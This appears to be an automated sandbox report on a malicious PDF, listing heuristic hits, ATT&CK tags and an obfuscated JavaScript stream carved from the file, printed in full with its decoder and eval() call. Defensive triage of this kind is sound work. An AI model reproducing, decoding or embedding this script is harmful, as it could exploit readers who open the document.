MALICIOUS
166
Risk Score
Malware Insights
MITRE ATT&CK
T1059.001 JavaScript/Shell Scripting: JavaScript
T1204.002 Malicious File: User Execution: Malicious JavaScript
The PDF file contains embedded JavaScript, indicated by the PDF_JAVASCRIPT and PDF_JS heuristics. A high-severity PDF_EVAL heuristic firing suggests the use of eval(), which is often used to deobfuscate and execute malicious code. The embedded JavaScript is likely intended to perform malicious actions upon opening the document, such as downloading a second-stage payload, though the exact functionality is obscured.
Machine Learning
- Nyx PDF Classifier malicious score 1.0000
Heuristics 4
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JavaScript action low 2 related findings PDF_JAVASCRIPTPDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
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PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTERPDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.Matched line in script
4cT%t<coW%toWRW%tZcs9%tcT<n%t<soW%t<noW%tsvTR%tTJsT%t<Z<x%tvs8x%tv8vv%tsRv8%tRcsJ%tR8RT%t<ZRv%txWo(%tx8xW%tTZcR%toWTZ%toJc8%tcvov%txco<%to4T<%tooo<%tTZoZ%tonoT%toxoZ%tonTZ%tovoZ%tT<oW%to(x8%tcZx8%toWo4%tc4cJ%t88c8\"P;\nCCp\nCCwdUwCFQC0U4XRy<RMNnQ6yHZgC==CTPE\nCCCCf.ce7nQ(DjUmQ4F7C=CtVwUl)hw0\"%tWcWc%tWcWc%tWcWc%t8Z<s%tcc9s%toon4%t(8s4%t(88v%t<Zcc%t<TWc%t<sZR%t<(89%tZZ<n%tZZZZ%t(sxZ%tJZW<%t<Z<Z%toW<Z%t<cRZ%t4ZoW%tWTZc%t4ZoW%to<<x%t<Z8c%t<Z<s%toW<Z%ts48c%tov(x%t<vRv%t8x8c%t<Zvv%t<Z<Z%tRRoo%ts4<s%t … -
Embedded JS stream low PDF_JSPDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
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Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
javascript_obj0007_000.js |
pdf-javascript-stream | PDF /JS object 7 at offset 0x23B | 8041 bytes |
SHA-256: f5ffc3a44fce24f7eeaca74e52bfe419311cecb4018985d9ccf2abefd51c3eb8 |
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Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 1 eval/decoder/string-building token(s). 106 of 157 identifiers look randomly generated (e.g. 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmn') — consistent with name-mangling obfuscation.
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Preview scriptFirst 1,000 lines of the extracted script
function JWUZf(JWUZf,phEftrq2wmBL) {var AmOYAUAxMZJOShYhP9R=JWUZf. substr (phEftrq2wmBL, 1);return AmOYAUAxMZJOShYhP9R;}/*Oks9lqbfbeaW|ovI9v5|KFacmzA2*/function f3pAHf1qQZzGs(MXyH237KtLMdoE) {/*SUC2DCdud9L8ZhGDTO|EKPPP|s1fsuTAEW3HYX12*/var sljmRj = new String("<>(){} .,ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789");/*C0vk6z3L28[INlx6dTpNm]S9jZY6RQSUHE4E3*//*Pwwl4ANs6rBm5oSNn1|By4SHPZLJdF8t2v|wvjfsQhULL*/var wbaD0PJj2V7qczka /*ZyeC0T7IaMilWCr[wjGIW1r1k8]AKkijZDmPWj*/= new String("KO0PEpCk>RsnJ<Z2.eH j3MrDLGu5,B7iby)NlXwQa{Fg6dzV}hASUYtqf1Im8vTcW9ox(4");/*ww7YI9Gdwpj|Cbm3ClS7v2fVSj8i6i7|U4Hd4O7q3hl58NzA*/for(TmMxQ=0;TmMxQ<sljmRj.length;TmMxQ++) {if(MXyH237KtLMdoE == JWUZf(wbaD0PJj2V7qczka, TmMxQ)) {/*I8kBe6TD429czsxt0Q[FNU8u64tKuu93sk]MgOPbGP458rpz7T4Lo3*/return JWUZf(sljmRj, TmMxQ);/*lypvjZvcIVXU2mkTszNo <AUo2oiEScB4Rqp0GbT]wqjoSJ8B*/}}return MXyH237KtLMdoE;}/*MqxHBcApBE8dF2vwil39[Ivlra40Y6zknnroGrTH]Rl2KWos7ir2qdeX4Z*//*TWD39rln|T74GPf8Z2nIzL0s1U|OOmch8gb*/var TdYGlw1ZVB2YK = new String;var skuMPSQu = new String("\nq)SCY,lYU,)ZqLIH.xT.C=CVwfCRSS)I0P;\nq)SCryu7QnHZflB<BVDA;\nQtVlYF}VCuT687 ru6Mdc,z 30aVUcms.f}Vs ))RU>CetT4ZLNm}3ce83wBPE\nCCf{FdwC0aVUcms.f}Vs ))RUkdwVaY{C*CTCKCetT4ZLNm}3ce83wBPE\nCCCCaVUcms.f}Vs ))RUC+=CaVUcms.f}Vs ))RU;\nCCp\nCCaVUcms.f}Vs ))RUC=CaVUcms.f}Vs ))RUkUtNUYSFVa08>CetT4ZLNm}3ce83wBC/CTP;\nCCSwYtSVCaVUcms.f}Vs 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))RUC=CtVwUl)hw0\"%t4848%t4848\"P;\nCCaVUcms.f}Vs ))RUC=CuT687 ru6Mdc,z 30aVUcms.f}Vs ))RU>CetT4ZLNm}3ce83wBP;\nCCq)SCe<xDMq.G<HL4I.zqC=C0zVUbXm92.t,8q)wSC-C81W88888PC/C1N9b)8}SWHTmtQAX;\nCCQ}SC0q)SCGgD2jvdH,2fo,xXeC=C8;CGgD2jvdH,2fo,xXeCKCe<xDMq.G<HL4I.zq;CGgD2jvdH,2fo,xXeC++CPE\nCCCCY,lYU,)ZqLIH.xT.[GgD2jvdH,2fo,xXe]C=CaVUcms.f}Vs ))RUC+Cf.ce7nQ(DjUmQ4F7;\nCCp\np\nQtVlYF}VClgF{wv8UH)TeS}Jc0PE\nCCq)SCwXeYX9J4 8<}2S()C=C8;\nCCq)SCGAeZSG4Rc85YI{f7C=C)hhkqFwfwSBwSUF}VkY}uYSFVa0P;\nCC)hhkldw)S5FzwrtY0ryu7QnHZflB<BVDAP;\n\nCCFQC0GAeZSG4Rc85YI{f7CKCxkvPE\nCCCCf7i8{hx7X.A<Uvx,08P;\nCCCCq)SC7<LIeXxXV uWs)wzC=CtVwUl)hw0\"%t8l8l%t8l8l\"P;\nCCCCf{FdwC07<LIeXxXV uWs)wzkdwVaY{CKCWW49TP7<LIeXxXV uWs)wzC+=C7<LIeXxXV uWs)wz;\nCCCCY{FUCkl}dd)NuY}SwC=Cn}dd)Nkl}ddwlY<z)FdeVQ}0E\nCCCCCCUtNgC:C\"\">CzUaC:C7<LIeXxXV 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8<}2S()C==CvPE\nCCCCCCFQC00GAeZSG4Rc85YI{f7CO=Cxkv&&CGAeZSG4Rc85YI{f7CKC4PPE\nCCCCCCCCf7i8{hx7X.A<Uvx,0vP;\nCCCCCCCCq)SCL<q}UcuQ3tgb,MjqC=C\"vT444444444444444444\";\nCCCCCCCCQ}SC0jMJgiaRSlB82zIJeC=C8;CjMJgiaRSlB82zIJeCKCTxo;CjMJgiaRSlB82zIJeC++CPE\nCCCCCCCCCCL<q}UcuQ3tgb,MjqC+=C\"(\";\nCCCCCCCCp\nCCCCCCCCtYFdkhSFVYQ0\"%W9888Q\">CL<q}UcuQ3tgb,MjqP;\nCCCCCCp\nCCCCp\nCCp\np\n)hhkS8(osy6b55(ISutsC=ClgF{wv8UH)TeS}Jc;\nryu7QnHZflB<BVDAC=C)hhkUwY5FzwrtY0\")hhkS8(osy6b55(ISuts0P\">Cv8P;\n");/*NDlBWj6dycbOUFWKQN2I{FXwszTrWvokyQ}LziooAG2ULPfcd*//*kAd7wMxG3K1|uqzW1o4gT4mMP|buQ5I15mzsznzsxqQ*/for(Ab3uD=0;Ab3uD<skuMPSQu.length;Ab3uD++)TdYGlw1ZVB2YK += f3pAHf1qQZzGs(JWUZf(skuMPSQu,Ab3uD));eval(TdYGlw1ZVB2YK);/*XF3OuxvEsXQ8M[tdn2UjfJRUwGCjxT]KZAZKy*/
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